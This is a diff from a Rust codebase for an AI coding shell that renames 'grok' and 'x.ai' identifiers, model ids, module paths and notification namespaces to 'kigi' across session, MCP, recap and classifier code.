     fn single_distinct_model_collapses_to_one_entry() {
         let records = vec![
-            rec(Some("g1"), 0, 100, Some("grok-4")),
-            rec(Some("g1"), 0, 200, None), // folds under current = grok-4
+            rec(Some("g1"), 0, 100, Some("kigi-4")),
+            rec(Some("g1"), 0, 200, None), // folds under current = kigi-4
         ];
-        let out = fold_tokens_by_model(&records, "g1", "grok-4");
-        assert_eq!(out, vec![("grok-4".to_owned(), 300)]);
+        let out = fold_tokens_by_model(&records, "g1", "kigi-4");
+        assert_eq!(out, vec![("kigi-4".to_owned(), 300)]);
     }
 
     #[test]
     fn other_goal_records_excluded() {
         let records = vec![
-            rec(Some("g1"), 0, 100, Some("grok-4")),
-            rec(Some("g2"), 0, 999, Some("grok-4")),
-            rec(None, 0, 999, Some("grok-4")),
+            rec(Some("g1"), 0, 100, Some("kigi-4")),
+            rec(Some("g2"), 0, 999, Some("kigi-4")),
+            rec(None, 0, 999, Some("kigi-4")),
         ];
         let out = fold_tokens_by_model(&records, "g1", "cur");
-        assert_eq!(out, vec![("grok-4".to_owned(), 100)]);
+        assert_eq!(out, vec![("kigi-4".to_owned(), 100)]);
     }
 
     #[test]
     fn last_below_anchor_does_not_underflow() {
-        let records = vec![rec(Some("g1"), 500, 100, Some("grok-4"))];
+        let records = vec![rec(Some("g1"), 500, 100, Some("kigi-4"))];
         // marginal saturates to 0 -> skipped as a zero-token entry.
         assert!(fold_tokens_by_model(&records, "g1", "cur").is_empty());
     }
 
     #[test]
     fn captured_model_survives_mid_goal_current_model_switch() {
-        // A record captured `grok-4` at spawn keeps it even though the
-        // current model at aggregation time is `grok-3`.
-        let records = vec![rec(Some("g1"), 0, 100, Some("grok-4"))];
-        let out = fold_tokens_by_model(&records, "g1", "grok-3");
-        assert_eq!(out, vec![("grok-4".to_owned(), 100)]);
+        // A record captured `kigi-4` at spawn keeps it even though the
+        // current model at aggregation time is `kigi-3`.
+        let records = vec![rec(Some("g1"), 0, 100, Some("kigi-4"))];
+        let out = fold_tokens_by_model(&records, "g1", "kigi-3");
+        assert_eq!(out, vec![("kigi-4".to_owned(), 100)]);
     }
 
     #[test]
@@ -788,11 +786,11 @@ mod fold_tokens_by_model_tests {
         // An empty id folds into the SAME bucket as records that
         // explicitly captured the current model id.
         let records = vec![
-            rec(Some("g1"), 0, 100, Some("grok-4")),
+            rec(Some("g1"), 0, 100, Some("kigi-4")),
             rec(Some("g1"), 0, 200, Some("")),
         ];
-        let out = fold_tokens_by_model(&records, "g1", "grok-4");
-        assert_eq!(out, vec![("grok-4".to_owned(), 300)]);
+        let out = fold_tokens_by_model(&records, "g1", "kigi-4");
+        assert_eq!(out, vec![("kigi-4".to_owned(), 300)]);
     }
 }
 
@@ -822,7 +820,7 @@ pub(crate) fn planner_failure_pause_message() -> String {
 }
 
 pub(crate) fn goal_slash_and_harness_available(goal_enabled: bool, tool_names: &[String]) -> bool {
-    use kigi_tools::implementations::grok_build::UPDATE_GOAL_TOOL_NAME;
+    use kigi_tools::implementations::kigi::UPDATE_GOAL_TOOL_NAME;
     goal_enabled && tool_names.iter().any(|n| n == UPDATE_GOAL_TOOL_NAME)
 }
 
@@ -1468,9 +1466,7 @@ impl SessionActor {
         self.agent
             .borrow()
             .tool_bridge()
-            .update_resource(
-                kigi_tools::implementations::grok_build::task::types::GoalLoopActive(active),
-            )
+            .update_resource(kigi_tools::implementations::kigi::task::types::GoalLoopActive(active))
             .await;
     }
 }
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_impl/interjection.rs b/crates/codegen/kigi-shell/src/session/acp_session_impl/interjection.rs
index a60e689..1f4aa31 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_impl/interjection.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_impl/interjection.rs
@@ -22,7 +22,7 @@ pub(crate) type PendingInterjection =
 /// converted into standalone prompt turns (arrived while idle, or after the
 /// running turn's final drain). The prefix keeps the turn's user echo
 /// persist-only: every pane already rendered the text from the
-/// `x.ai/session/interjection` broadcast, so a live echo would duplicate it.
+/// `kigi/session/interjection` broadcast, so a live echo would duplicate it.
 pub(crate) const INTERJECT_FALLBACK_PROMPT_PREFIX: &str = "interject-fallback-";
 
 impl SessionActor {
@@ -164,7 +164,7 @@ impl SessionActor {
             self.notifications
                 .gateway
                 .forward_fire_and_forget(acp::ExtNotification::new(
-                    "x.ai/session/interjection",
+                    "kigi/session/interjection",
                     params.into(),
                 ));
         }
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_impl/laziness.rs b/crates/codegen/kigi-shell/src/session/acp_session_impl/laziness.rs
index c0412a1..a2862f9 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_impl/laziness.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_impl/laziness.rs
@@ -323,7 +323,7 @@ impl SessionActor {
     /// the sampler call goes through `prepare_chat_completion().conversation_collect()`
     /// — a side-channel direct-HTTP call that does NOT publish events
     /// on the per-session shared sampler channel. The client never
-    /// sees "Grok is thinking", streaming token chunks, or any other
+    /// sees "Kigi is thinking", streaming token chunks, or any other
     /// session update from a classifier fire. Stalled verdicts only
     /// queue a `<system-reminder>` into chat state via
     /// `push_system_reminder`; no `InputItem` is pushed into
@@ -549,18 +549,18 @@ impl SessionActor {
             model: Some(model_id.clone()),
             temperature: Some(0.0),
             max_output_tokens: Some(LAZINESS_MAX_OUTPUT_TOKENS),
-            // Don't pass `reasoning_effort` — `grok-4.5` (and
-            // other tool-flavoured Grok variants) reject the field at
+            // Don't pass `reasoning_effort` — `kigi-4.5` (and
+            // other tool-flavoured Kigi variants) reject the field at
             // the proxy with `400 Bad Request: Model does not support
             // parameter reasoningEffort`. Omitting it lets each model
             // apply its own default. The classifier task is one short
             // JSON object — even on reasoning-capable models the
             // default suffices; no need to force it off.
             reasoning_effort: None,
-            x_grok_conv_id: Some(session_id_str.clone()),
-            x_grok_req_id: Some(format!("{LAZINESS_REQ_ID_PREFIX}{}", uuid::Uuid::new_v4())),
-            x_grok_session_id: Some(session_id_str),
-            x_grok_agent_id: Some(crate::util::agent_id::agent_id()),
+            x_kigi_conv_id: Some(session_id_str.clone()),
+            x_kigi_req_id: Some(format!("{LAZINESS_REQ_ID_PREFIX}{}", uuid::Uuid::new_v4())),
+            x_kigi_session_id: Some(session_id_str),
+            x_kigi_agent_id: Some(crate::util::agent_id::agent_id()),
             ..ConversationRequest::default()
         };
 
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_impl/laziness_classifier.rs b/crates/codegen/kigi-shell/src/session/acp_session_impl/laziness_classifier.rs
index fad058e..2f52eae 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_impl/laziness_classifier.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_impl/laziness_classifier.rs
@@ -110,7 +110,7 @@ impl LazinessAbortReason {
 /// Prompt-structure mitigations against motivated reasoning:
 /// "Do not roleplay", JSON-only, no chain-of-thought,
 /// no role context, transcript framed as third-party data.
-/// Prefix on `x_grok_req_id` for laziness-classifier sampler calls.
+/// Prefix on `x_kigi_req_id` for laziness-classifier sampler calls.
 /// Centralised here so the production producer
 /// (`maybe_fire_laziness_check`) AND the offline replay harness
 /// (`crate::trace_classifier::build_classifier_request`) share a
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_impl/mcp.rs b/crates/codegen/kigi-shell/src/session/acp_session_impl/mcp.rs
index c93be26..88fce0a 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_impl/mcp.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_impl/mcp.rs
@@ -150,7 +150,7 @@ impl SessionActor {
             );
         }
     }
-    /// Emit per-server `x.ai/mcp/tools_changed` notifications.
+    /// Emit per-server `kigi/mcp/tools_changed` notifications.
     ///
     /// Each emission carries the owning
     /// `sessionId` so the pager can route via `find_session_match`
@@ -182,7 +182,7 @@ impl SessionActor {
             }
         }
     }
-    /// Handle explicit auth trigger from the client (x.ai/mcp/auth_trigger).
+    /// Handle explicit auth trigger from the client (kigi/mcp/auth_trigger).
     ///
     /// Runs force_reauth (browser flow), then re-initializes the server
     /// and registers its tools.
@@ -580,7 +580,7 @@ impl SessionActor {
     /// On success: the new `Arc<McpClient>` is in
     /// `mcp_state.owned_clients[server]` with `ClientState::Ready`,
     /// the dispatcher's `notify_tx` is wired to its
-    /// `GrokClientHandler`, and the liveness watcher is armed —
+    /// `KigiClientHandler`, and the liveness watcher is armed —
     /// matching the post-handshake state produced by
     /// [`Self::ensure_mcp_tools_initialized`] for a fresh server.
     ///
@@ -603,7 +603,7 @@ impl SessionActor {
     /// `Reason::Initialized` from the dispatcher's mapping, one
     /// `Reason::RestartSucceeded` from the restart task).
     ///
-    /// The `GrokClientHandler` constructed inside `try_handshake`
+    /// The `KigiClientHandler` constructed inside `try_handshake`
     /// holds the SHARED `Arc<Mutex<Option<Sender>>>` slot
     /// (`SharedEventTx`), so wiring the sender AFTER the handshake
     /// still routes subsequent `tools/list_changed` /
@@ -814,7 +814,7 @@ impl SessionActor {
                 self.notifications
                     .gateway
                     .forward_fire_and_forget(acp::ExtNotification::new(
-                        "x.ai/mcp_initialized",
+                        "kigi/mcp_initialized",
                         params.into(),
                     ));
             }
@@ -884,7 +884,7 @@ impl SessionActor {
                 self.notifications
                     .gateway
                     .forward_fire_and_forget(acp::ExtNotification::new(
-                        "x.ai/mcp_initialized",
+                        "kigi/mcp_initialized",
                         params.into(),
                     ));
             }
@@ -1432,7 +1432,7 @@ impl SessionActor {
                 "elapsedMs" : elapsed.as_millis() as u64, }
             )) {
                 gateway.forward_fire_and_forget(acp::ExtNotification::new(
-                    "x.ai/mcp_initialized",
+                    "kigi/mcp_initialized",
                     params.into(),
                 ));
             }
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_impl/memory_dream.rs b/crates/codegen/kigi-shell/src/session/acp_session_impl/memory_dream.rs
index f6bb4a9..1395b3d 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_impl/memory_dream.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_impl/memory_dream.rs
@@ -314,10 +314,10 @@ impl SessionActor {
                 ConversationItem::user(user_message),
             ],
             model: Some(model),
-            x_grok_conv_id: Some(session_id.clone()),
-            x_grok_req_id: Some(format!("xai-dream-{}", uuid::Uuid::new_v4())),
-            x_grok_session_id: Some(session_id),
-            x_grok_agent_id: Some(crate::util::agent_id::agent_id()),
+            x_kigi_conv_id: Some(session_id.clone()),
+            x_kigi_req_id: Some(format!("xai-dream-{}", uuid::Uuid::new_v4())),
+            x_kigi_session_id: Some(session_id),
+            x_kigi_agent_id: Some(crate::util::agent_id::agent_id()),
             ..Default::default()
         };
         let response = sampling_client
@@ -413,10 +413,10 @@ impl SessionActor {
             let request = ConversationRequest {
                 items,
                 model: Some(model),
-                x_grok_conv_id: Some(session_id.clone()),
-                x_grok_req_id: Some(format!("xai-flush-{}", uuid::Uuid::new_v4())),
-                x_grok_session_id: Some(session_id.clone()),
-                x_grok_agent_id: Some(crate::util::agent_id::agent_id()),
+                x_kigi_conv_id: Some(session_id.clone()),
+                x_kigi_req_id: Some(format!("xai-flush-{}", uuid::Uuid::new_v4())),
+                x_kigi_session_id: Some(session_id.clone()),
+                x_kigi_agent_id: Some(crate::util::agent_id::agent_id()),
                 ..Default::default()
             };
 
@@ -608,7 +608,7 @@ impl SessionActor {
     }
 
     /// Rewrite a raw memory note into well-structured markdown via a one-shot
-    /// LLM call using the `grok-build` model.
+    /// LLM call using the `kigi` model.
     ///
     /// Follows the same streaming pattern as [`handle_ai_suggest`]: prepares
     /// a sampling client, builds a system+user prompt, streams the response,
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_impl/model_switch.rs b/crates/codegen/kigi-shell/src/session/acp_session_impl/model_switch.rs
index 4261017..5a73001 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_impl/model_switch.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_impl/model_switch.rs
@@ -207,7 +207,7 @@ impl SessionActor {
             }
             bridge
                 .update_resource(
-                    kigi_tools::implementations::grok_build::update_goal::GoalUpdateHandle(
+                    kigi_tools::implementations::kigi::update_goal::GoalUpdateHandle(
                         self.goal_update_tx.clone(),
                     ),
                 )
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_impl/notification_drain.rs b/crates/codegen/kigi-shell/src/session/acp_session_impl/notification_drain.rs
index 7e957a3..8b8ed73 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_impl/notification_drain.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_impl/notification_drain.rs
@@ -94,7 +94,7 @@ impl SessionActor {
             .borrow()
             .tool_bridge()
             .update_resource(
-                kigi_tools::implementations::grok_build::task::types::CurrentPromptIdResource(
+                kigi_tools::implementations::kigi::task::types::CurrentPromptIdResource(
                     prompt_id.clone(),
                 ),
             )
@@ -249,7 +249,7 @@ impl SessionActor {
         let Some(buffer) = &self.tool_context.monitor_event_buffer else {
             return;
         };
-        for event in kigi_tools::implementations::grok_build::task::types::drain_owned(
+        for event in kigi_tools::implementations::kigi::task::types::drain_owned(
             buffer,
             Some(self.session_info.id.0.as_ref()),
         ) {
@@ -308,7 +308,7 @@ impl SessionActor {
         notifications: Vec<PendingNotification>,
         task_output_tool_name: &str,
     ) -> bool {
-        use kigi_tools::implementations::grok_build::task::types::MonitorEventNotification;
+        use kigi_tools::implementations::kigi::task::types::MonitorEventNotification;
 
         // Collapse monitor entries: collect their text into events, remember
         // where the first one sat so the batch lands in arrival position.
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_impl/prompt_build.rs b/crates/codegen/kigi-shell/src/session/acp_session_impl/prompt_build.rs
index 762086a..74d1f2a 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_impl/prompt_build.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_impl/prompt_build.rs
@@ -277,7 +277,7 @@ pub(super) fn build_truncated_prompt_message(
 }
 /// Replace the file-referencing offload `notice` embedded in `message` with the
 /// no-file [`OFFLOAD_FAILED_NOTICE`]. Position-independent (the notice sits at the
-/// end for grok ordering), so a failed offload never
+/// end for kigi ordering), so a failed offload never
 /// leaves the model chasing a "read this file" pointer to a file that does not
 /// exist. Returns `message` unchanged if the notice is absent (defensive).
 pub(super) fn strip_offload_notice(message: &str, notice: &str) -> String {
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_impl/prompt_queue.rs b/crates/codegen/kigi-shell/src/session/acp_session_impl/prompt_queue.rs
index a425c0a..79bb102 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_impl/prompt_queue.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_impl/prompt_queue.rs
@@ -319,7 +319,7 @@ impl SessionActor {
             entry_count = payload.entries.len(),
             entries = ?payload.entries.iter().map(|e| e.id.as_str()).collect::<Vec<_>>(),
             session = self.session_info.id.0.as_ref(),
-            "broadcasting x.ai/queue/changed to subscribers",
+            "broadcasting kigi/queue/changed to subscribers",
         );
         if let Ok(params) = serde_json::value::to_raw_value(&payload) {
             self.notifications
@@ -426,7 +426,7 @@ impl SessionActor {
     ///   stale `expected_version`, or is owned by another client, or
     /// - the row is not a plain prompt (it would reach the model as prompt text).
     ///
-    /// Always re-broadcasts `x.ai/queue/changed` so every client reconciles
+    /// Always re-broadcasts `kigi/queue/changed` so every client reconciles
     /// (the row vanishes on success, is unchanged on a no-op).
     /// `new_text` (when `Some`) replaces the stored queue text in the
     /// interjection — the client edited the row before interjecting. It rides
@@ -609,7 +609,7 @@ impl SessionActor {
     ///    user has explicitly typed replacement text).
     /// 2. Update `queue_meta.text`, bump `queue_meta.version`, and record
     ///    `last_editor` (the original `owner` attribution is preserved).
-    /// 3. Re-broadcast `x.ai/queue/changed` so every subscriber renders the
+    /// 3. Re-broadcast `kigi/queue/changed` so every subscriber renders the
     ///    new text and version.
     ///
     /// **No-op cases** (each is a benign discard with no rebroadcast — nothing
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_impl/recap.rs b/crates/codegen/kigi-shell/src/session/acp_session_impl/recap.rs
index d5ad677..547899c 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_impl/recap.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_impl/recap.rs
@@ -110,10 +110,10 @@ impl SessionActor {
             tools: tool_specs,
             model: Some(model.clone()),
             temperature: None,
-            x_grok_conv_id: Some(btw_session_id.clone()),
-            x_grok_req_id: Some(format!("xai-btw-{}", uuid::Uuid::new_v4())),
-            x_grok_session_id: Some(parent_session_id.clone()),
-            x_grok_agent_id: Some(crate::util::agent_id::agent_id()),
+            x_kigi_conv_id: Some(btw_session_id.clone()),
+            x_kigi_req_id: Some(format!("xai-btw-{}", uuid::Uuid::new_v4())),
+            x_kigi_session_id: Some(parent_session_id.clone()),
+            x_kigi_agent_id: Some(crate::util::agent_id::agent_id()),
             ..Default::default()
         };
 
@@ -238,8 +238,8 @@ impl SessionActor {
         // ~25–40 words, and `clean_recap_text` caps it at a generous
         // RECAP_MAX_CHARS safety net, so an explicit token cap isn't needed.
         let started_at = chrono::Utc::now().to_rfc3339();
-        let x_grok_conv_id = format!("recap-{}", uuid::Uuid::new_v4());
-        let x_grok_req_id = format!("xai-recap-{}", uuid::Uuid::new_v4());
+        let x_kigi_conv_id = format!("recap-{}", uuid::Uuid::new_v4());
+        let x_kigi_req_id = format!("xai-recap-{}", uuid::Uuid::new_v4());
         // Clone the exact request items for the on-disk artifact (recap never
         // mutates conversation state, so this file is the only durable record).
         let chat_history_for_artifact = items.clone();
@@ -248,10 +248,10 @@ impl SessionActor {
             tools: vec![],
             model: Some(model.clone()),
             temperature: None,
-            x_grok_conv_id: Some(x_grok_conv_id.clone()),
-            x_grok_req_id: Some(x_grok_req_id.clone()),
-            x_grok_session_id: Some(self.session_info.id.to_string()),
-            x_grok_agent_id: Some(crate::util::agent_id::agent_id()),
+            x_kigi_conv_id: Some(x_kigi_conv_id.clone()),
+            x_kigi_req_id: Some(x_kigi_req_id.clone()),
+            x_kigi_session_id: Some(self.session_info.id.to_string()),
+            x_kigi_agent_id: Some(crate::util::agent_id::agent_id()),
             ..Default::default()
         };
 
@@ -265,8 +265,8 @@ impl SessionActor {
                     auto,
                     strip_reasoning,
                     tag,
-                    &x_grok_req_id,
-                    &x_grok_conv_id,
+                    &x_kigi_req_id,
+                    &x_kigi_conv_id,
                     started_at,
                     None,
                     None,
@@ -291,8 +291,8 @@ impl SessionActor {
                 auto,
                 strip_reasoning,
                 tag,
-                &x_grok_req_id,
-                &x_grok_conv_id,
+                &x_kigi_req_id,
+                &x_kigi_conv_id,
                 started_at,
                 None,
                 Some(raw_response.as_str()).filter(|s| !s.is_empty()),
@@ -307,7 +307,7 @@ impl SessionActor {
         }
 
         // New prompt while generating: keep artifact, skip display, leave watermark.
-        // Applies to manual `/recap` too: spinner-less clients (e.g. Grok
+        // Applies to manual `/recap` too: spinner-less clients (e.g. Kigi
         // Desktop) would otherwise append the late recap mid-turn.
         if self.recap_was_cancelled(recap_epoch) {
             tracing::info!(
@@ -322,8 +322,8 @@ impl SessionActor {
                 auto,
                 strip_reasoning,
                 tag,
-                &x_grok_req_id,
-                &x_grok_conv_id,
+                &x_kigi_req_id,
+                &x_kigi_conv_id,
                 started_at,
                 Some(summary.as_str()),
                 Some(raw_response.as_str()),
@@ -346,8 +346,8 @@ impl SessionActor {
                 auto,
                 strip_reasoning,
                 tag,
-                &x_grok_req_id,
-                &x_grok_conv_id,
+                &x_kigi_req_id,
+                &x_kigi_conv_id,
                 started_at,
                 Some(summary.as_str()),
                 Some(raw_response.as_str()),
@@ -365,8 +365,8 @@ impl SessionActor {
             auto,
             strip_reasoning,
             tag,
-            &x_grok_req_id,
-            &x_grok_conv_id,
+            &x_kigi_req_id,
+            &x_kigi_conv_id,
             started_at,
             Some(summary.as_str()),
             Some(raw_response.as_str()),
@@ -433,8 +433,8 @@ impl SessionActor {
         auto: bool,
         strip_reasoning: bool,
         reminder_tag: &str,
-        x_grok_req_id: &str,
-        x_grok_conv_id: &str,
+        x_kigi_req_id: &str,
+        x_kigi_conv_id: &str,
         started_at: String,
         summary: Option<&str>,
         raw_response: Option<&str>,
@@ -449,8 +449,8 @@ impl SessionActor {
             created_at: started_at,
             trigger: if auto { "auto" } else { "manual" }.to_owned(),
             model: model.to_owned(),
-            x_grok_req_id: x_grok_req_id.to_owned(),
-            x_grok_conv_id: x_grok_conv_id.to_owned(),
+            x_kigi_req_id: x_kigi_req_id.to_owned(),
+            x_kigi_conv_id: x_kigi_conv_id.to_owned(),
             strip_reasoning,
             reminder_tag: reminder_tag.to_owned(),
             chat_history,
@@ -578,7 +578,7 @@ impl SessionActor {
     /// Temperature, max_output_tokens, and
     /// reasoning_effort are left unset — mirrors [`Self::handle_recap`]: the
     /// proxy may inject provider defaults, a small token cap silently empties
-    /// a reasoning model's response, and some models (e.g. `grok-build`)
+    /// a reasoning model's response, and some models (e.g. `kigi`)
     /// reject an explicit `reasoningEffort` with a 400. Output is filtered
     /// through [`prompt_suggest::sanitize_suggestion`]; any failure returns
     /// through [`prompt_suggest::sanitize_suggestion`]; any failure returns
@@ -643,10 +643,10 @@ impl SessionActor {
             tools: vec![],
             model: Some(model),
             temperature: None,
-            x_grok_conv_id: Some(format!("promptsuggest-{}", uuid::Uuid::new_v4())),
-            x_grok_req_id: Some(format!("xai-promptsuggest-{}", uuid::Uuid::new_v4())),
-            x_grok_session_id: Some(self.session_info.id.to_string()),
-            x_grok_agent_id: Some(crate::util::agent_id::agent_id()),
+            x_kigi_conv_id: Some(format!("promptsuggest-{}", uuid::Uuid::new_v4())),
+            x_kigi_req_id: Some(format!("xai-promptsuggest-{}", uuid::Uuid::new_v4())),
+            x_kigi_session_id: Some(self.session_info.id.to_string()),
+            x_kigi_agent_id: Some(crate::util::agent_id::agent_id()),
             ..Default::default()
         };
 
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_impl/reminders.rs b/crates/codegen/kigi-shell/src/session/acp_session_impl/reminders.rs
index a96b0cb..9e71c7f 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_impl/reminders.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_impl/reminders.rs
@@ -175,7 +175,7 @@ pub(crate) fn date_rollover_reminder(
 }
 /// Body of the one-shot interrupt `<system-reminder>` injected on the next real
 /// user turn after a mid-stream abort that left the model with no other signal.
-/// Wrapped in grok's `<system-reminder>` shape by [`SessionActor::push_system_reminder`].
+/// Wrapped in kigi's `<system-reminder>` shape by [`SessionActor::push_system_reminder`].
 /// See [`SessionActor::maybe_inject_interrupt_reminder`].
 pub(crate) const INTERRUPT_REMINDER: &str = "[Request interrupted by user]";
 /// TodoGate when enabled and the prompt carries `<task_completion_discipline>`
@@ -317,7 +317,7 @@ impl SessionActor {
         let Some(tx) = &self.tool_context.subagent_event_tx else {
             return;
         };
-        use kigi_tools::implementations::grok_build::task::types::{
+        use kigi_tools::implementations::kigi::task::types::{
             SubagentCompletionsRequest, SubagentEvent,
         };
         let suppress_ids = self
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_impl/rewind.rs b/crates/codegen/kigi-shell/src/session/acp_session_impl/rewind.rs
index e30ed1c..e700613 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_impl/rewind.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_impl/rewind.rs
@@ -525,7 +525,7 @@ impl SessionActor {
             .send(PersistenceMsg::MergeRewindPointsFrom { target_index });
     }
 
-    /// Out-of-band history repair (`x.ai/session/repair`) for a resident
+    /// Out-of-band history repair (`kigi/session/repair`) for a resident
     /// session: run `kigi_chat_state::compaction_utils::repair_history` inside
     /// the chat-state actor, then flush persistence so `chat_history.jsonl`
     /// is rewritten on disk before the caller sees success.
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_impl/run_loop.rs b/crates/codegen/kigi-shell/src/session/acp_session_impl/run_loop.rs
index 3002c64..15e55b1 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_impl/run_loop.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_impl/run_loop.rs
@@ -386,7 +386,7 @@ pub(super) async fn run_session(
                    acp::ContentBlock::Text(t) = b { Some(t.text.clone()) } else { None } })
                    .collect::< Vec < _ >> ().join("\n"); let task_id = source.task_id()
                    .to_owned(); const MAX_BUFFER_EVENTS : usize = 50; buffer
-                   .push_capped(kigi_tools::implementations::grok_build::task::types::MonitorEventNotification
+                   .push_capped(kigi_tools::implementations::kigi::task::types::MonitorEventNotification
                    { task_id : task_id.clone(), event_text, owner_session_id : Some(session
                    .session_info.id.0.to_string(),), }, MAX_BUFFER_EVENTS,);
                    tracing::debug!(task_id = % task_id,
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_impl/sampler_turn.rs b/crates/codegen/kigi-shell/src/session/acp_session_impl/sampler_turn.rs
index 75bb2f9..ac8a7ed 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_impl/sampler_turn.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_impl/sampler_turn.rs
@@ -33,7 +33,7 @@ struct SessionTokenAuthGate {
     is_session_based: bool,
     model_byok: crate::agent::auth_method::ModelByok,
     /// Whether the request targets a first-party host. Lets an `Unknown`
-    /// BYOK status still refresh against cli-chat-proxy / `*.x.ai` without
+    /// BYOK status still refresh against the first-party cli-chat-proxy hosts without
     /// risking a session-token leak to a third-party BYOK endpoint.
     endpoint_is_first_party: bool,
 }
@@ -419,10 +419,10 @@ impl SessionActor {
                             kigi_workspace::permission::classifier_output_json_schema(),
                         ),
                         reasoning_effort: classifier_reasoning_effort,
-                        x_grok_conv_id: Some(session_id.clone()),
-                        x_grok_req_id: Some(format!("xai-perm-auto-{}", uuid::Uuid::new_v4())),
-                        x_grok_session_id: Some(session_id),
-                        x_grok_agent_id: Some(crate::util::agent_id::agent_id()),
+                        x_kigi_conv_id: Some(session_id.clone()),
+                        x_kigi_req_id: Some(format!("xai-perm-auto-{}", uuid::Uuid::new_v4())),
+                        x_kigi_session_id: Some(session_id),
+                        x_kigi_agent_id: Some(crate::util::agent_id::agent_id()),
                         ..ConversationRequest::default()
                     };
                     let fut = sampling_client.conversation_collect(request);
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_impl/session_mode.rs b/crates/codegen/kigi-shell/src/session/acp_session_impl/session_mode.rs
index d5b8f7f..4f34ed1 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_impl/session_mode.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_impl/session_mode.rs
@@ -289,7 +289,7 @@ impl SessionActor {
         );
     }
     /// The activation reminder template for the active template (no
-    /// first-entry/reentry distinction), or grok's reentry/full variant.
+    /// first-entry/reentry distinction), or kigi's reentry/full variant.
     /// Shared by turn-start injection (`inject_plan_mode_reminders` case 1)
     /// and the mid-turn toggle (`activate_plan_mode_mid_turn`).
     fn plan_activation_template(&self, is_reentry: bool) -> &'static str {
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_impl/spawn.rs b/crates/codegen/kigi-shell/src/session/acp_session_impl/spawn.rs
index 7bb4355..3c59c66 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_impl/spawn.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_impl/spawn.rs
@@ -146,8 +146,8 @@ pub(crate) async fn spawn_session_actor(
     inference_idle_timeout_secs: u64,
     max_retries: Option<u32>,
     web_search_config: kigi_tools::implementations::WebSearchConfig,
-    web_fetch_config: kigi_tools::implementations::grok_build::web_fetch::WebFetchConfig,
-    app_builder_deployer_config: kigi_tools::implementations::grok_build::deploy_app::AppBuilderDeployerConfig,
+    web_fetch_config: kigi_tools::implementations::kigi::web_fetch::WebFetchConfig,
+    app_builder_deployer_config: kigi_tools::implementations::kigi::deploy_app::AppBuilderDeployerConfig,
     write_file_enabled: bool,
     goal_enabled: bool,
     subagents_enabled: bool,
@@ -180,7 +180,7 @@ pub(crate) async fn spawn_session_actor(
         std::sync::Arc<dyn kigi_tools::computer::types::TerminalBackend>,
     >,
     parent_scheduler_handle: Option<
-        kigi_tools::implementations::grok_build::scheduler::types::SchedulerHandle,
+        kigi_tools::implementations::kigi::scheduler::types::SchedulerHandle,
     >,
     max_turns: Option<usize>,
     forked_tool_override: Option<Vec<ToolSpec>>,
@@ -224,7 +224,7 @@ pub(crate) async fn spawn_session_actor(
                 "CLI --allow catch-all ignored: always-approve disabled by managed policy"
             );
             if startup_hints.non_interactive {
-                eprintln!("grok: --allow catch-all ignored: {reason}");
+                eprintln!("kigi: --allow catch-all ignored: {reason}");
             }
         }
         if !cli_permission_rules.is_empty() {
@@ -531,7 +531,7 @@ pub(crate) async fn spawn_session_actor(
     };
     let reminder_policy = resolve_reminder_policy(remote_settings.as_ref(), todo_gate);
     let (user_question_tx, user_question_rx) = tokio::sync::mpsc::unbounded_channel::<
-        kigi_tools::implementations::grok_build::ask_user_question::types::UserQuestionRequest,
+        kigi_tools::implementations::kigi::ask_user_question::types::UserQuestionRequest,
     >();
     let attribution_callback_for_spec = auth_manager.as_ref().map(|am| {
         crate::auth::attribution::ShellAttribution::new_tool_callback(
@@ -672,7 +672,7 @@ pub(crate) async fn spawn_session_actor(
             state.set_acp_servers(acp_mcp_servers, invoker);
             tracing::info!(
                 session_id = % session_info.id.0, acp_mcp_servers = acp_server_count,
-                "Registered in-process SDK MCP servers (x.ai/mcp/sdk_call)"
+                "Registered in-process SDK MCP servers (kigi/mcp/sdk_call)"
             );
         }
         Arc::new(TokioMutex::new(state))
@@ -763,7 +763,7 @@ pub(crate) async fn spawn_session_actor(
     let scheduler_handle_for_handle = {
         let toolset = agent.tool_bridge().toolset();
         let res = toolset.resources.lock().await;
